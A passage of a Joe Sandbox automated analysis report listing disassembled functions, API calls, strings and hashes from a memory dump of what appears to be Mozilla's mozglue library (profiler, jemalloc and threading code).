Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5EF8F9

Part of subcall function 6C5B6390: GetCurrentThreadId.KERNEL32 ref: 6C5B63D0
Part of subcall function 6C5B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5B63DF
Part of subcall function 6C5B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B640E

ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF93A
GetCurrentThreadId.KERNEL32 ref: 6C5EF98A
GetCurrentThreadId.KERNEL32 ref: 6C5EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF716

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5AB5E0

GetCurrentThreadId.KERNEL32 ref: 6C5EF739
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF746
GetCurrentThreadId.KERNEL32 ref: 6C5EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C62385B,00000002,?,?,?,?,?), ref: 6C5EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5EF866
free.MOZGLUE(?), ref: 6C5EFA0C

Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C
Part of subcall function 6C5B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
Part of subcall function 6C5B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F53
Part of subcall function 6C5B5E60: GetCurrentThread.KERNEL32 ref: 6C5B5F5C
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F66
Part of subcall function 6C5B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E

free.MOZGLUE(?), ref: 6C5EF9C5
free.MOZGLUE(?), ref: 6C5EF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C5EF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5EF9A6
" attempted to re-register as ", xrefs: 6C5EF858
Thread , xrefs: 6C5EF789

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction ID: 488dc76d27e11a44d6bbb42f8ababecb44f75b6518541091df13282c4ebfe0a9
Opcode Fuzzy Hash: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction Fuzzy Hash: 22811371A04200DFDB00DF65DC80AAEB7B5EFC9308F40456DE8869BB51EB34AC49CB92

Function 6C5EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEE60
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EEEA5
CloseHandle.KERNEL32(?), ref: 6C5EEEB4
free.MOZGLUE(00000000), ref: 6C5EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEECF

Part of subcall function 6C5EDE60: GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
Part of subcall function 6C5EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B
Part of subcall function 6C5EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
Part of subcall function 6C5EDE60: free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
Part of subcall function 6C5EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5EEF1E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF59
GetCurrentThreadId.KERNEL32 ref: 6C5EEFB0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF000

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF02F

Part of subcall function 6C5EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C5EEED7
[I %d/%d] profiler_pause, xrefs: 6C5EF008

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction ID: 172177a8a43190cfbaa3514cbc59d34977cd7b9451b6a9ebd098c94da342b9c6
Opcode Fuzzy Hash: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction Fuzzy Hash: 1D51FA71600220DFDB009F66DC88B9577B8EF8A358F100A25ED2683B41DBBD5805CBAF

Function 6C5DD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5DD047
GetSystemInfo.KERNEL32(?), ref: 6C5DD093
__Init_thread_footer.LIBCMT ref: 6C5DD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5DD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5DD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5DD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5DD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5DD1B1

Strings

MOZ_CRASH(), xrefs: 6C5DD277
MALLOC_OPTIONS, xrefs: 6C5DD0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5DD322
<jemalloc>, xrefs: 6C5DD268, 6C5DD311
Compile-time page size does not divide the runtime one., xrefs: 6C5DD26D

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction ID: 4c71637b38a5332d0e8829e1de787c8766cad640ee74136df4288f0353e2da40
Opcode Fuzzy Hash: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction Fuzzy Hash: 7481AF70A453019BEB00DFBACC94AA977B5EB86305F11053AE94297B80D77DA805CFAD

Function 6C5B7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5B8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5B801D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5B802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5B803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B808D

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5B809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5B8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5B817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8199

Strings

0>^l, xrefs: 6C5B811E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>^l
API String ID: 2721933968-2678502030
Opcode ID: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction ID: b237d2fdcfbdf3c97cbb2410b6f3dd2c5a2415732a7c14bb23d275ac6f3677f8
Opcode Fuzzy Hash: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction Fuzzy Hash: 825186B1E00115ABDF00DBA9DC84AEFBBB9EF89264F140125E815F7741E735AD048BA6

Function 6C5B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5B6017

Part of subcall function 6C5A4310: moz_xmalloc.MOZGLUE(00000010,?,6C5A42D2), ref: 6C5A436A
Part of subcall function 6C5A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A42D2), ref: 6C5A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
GetCurrentProcess.KERNEL32 ref: 6C5B5F53
GetCurrentThread.KERNEL32 ref: 6C5B5F5C
GetCurrentProcess.KERNEL32 ref: 6C5B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B60CC

Strings

GeckoMain, xrefs: 6C5B5ECE, 6C5B6015

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction ID: 9686039008196e16fdede45e9eb6a355864f811db17045e49d1cdd61a471e426
Opcode Fuzzy Hash: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction Fuzzy Hash: A871CFB0A04740DFD704DF29C890A6ABBF0FF8A304F54496DE58697B42DB75E848CB96

Function 6C5B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5A3217
Part of subcall function 6C5A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5A3236
Part of subcall function 6C5A31C0: FreeLibrary.KERNEL32 ref: 6C5A324B
Part of subcall function 6C5A31C0: __Init_thread_footer.LIBCMT ref: 6C5A3260
Part of subcall function 6C5A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5A327F
Part of subcall function 6C5A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A328E
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32AB
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32D1
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A32E5
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

MapViewOfFileNuma2, xrefs: 6C5B97B1
ntdll.dll, xrefs: 6C5B96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
NtMapViewOfSection, xrefs: 6C5B9701

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction ID: d55b47565fee14a58791fc922627726d36049c56a61cbc801af5ab2cdb497dc1
Opcode Fuzzy Hash: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction Fuzzy Hash: CE61D371600311DBDF00CF6AECE4B9A7FB1EB8A314F104529E995A7780D738A845CF9A

Function 6C606660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606694
GetThreadId.KERNEL32(?), ref: 6C6066B1
GetCurrentThreadId.KERNEL32 ref: 6C6066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6066E1
EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606734
GetCurrentProcess.KERNEL32 ref: 6C60673A
LeaveCriticalSection.KERNEL32(6C62F618), ref: 6C60676C
GetCurrentThread.KERNEL32 ref: 6C6067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C606868
RtlCaptureContext.NTDLL ref: 6C60687F

Strings

WalkStack64, xrefs: 6C606890

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction ID: 2e30eb97275442ed5e4bae0b4d3720e09072db7c547d5cf06e448291e5cb3795
Opcode Fuzzy Hash: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction Fuzzy Hash: 4251DD71A09300AFD715CF25C984B9ABBF4FF89714F00492DF999A7640D774E848CB9A

Function 6C5EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
GetCurrentThreadId.KERNEL32 ref: 6C5EDF7D
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDF8A
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5EE00E
<none>, xrefs: 6C5EDFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C5EDE83

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

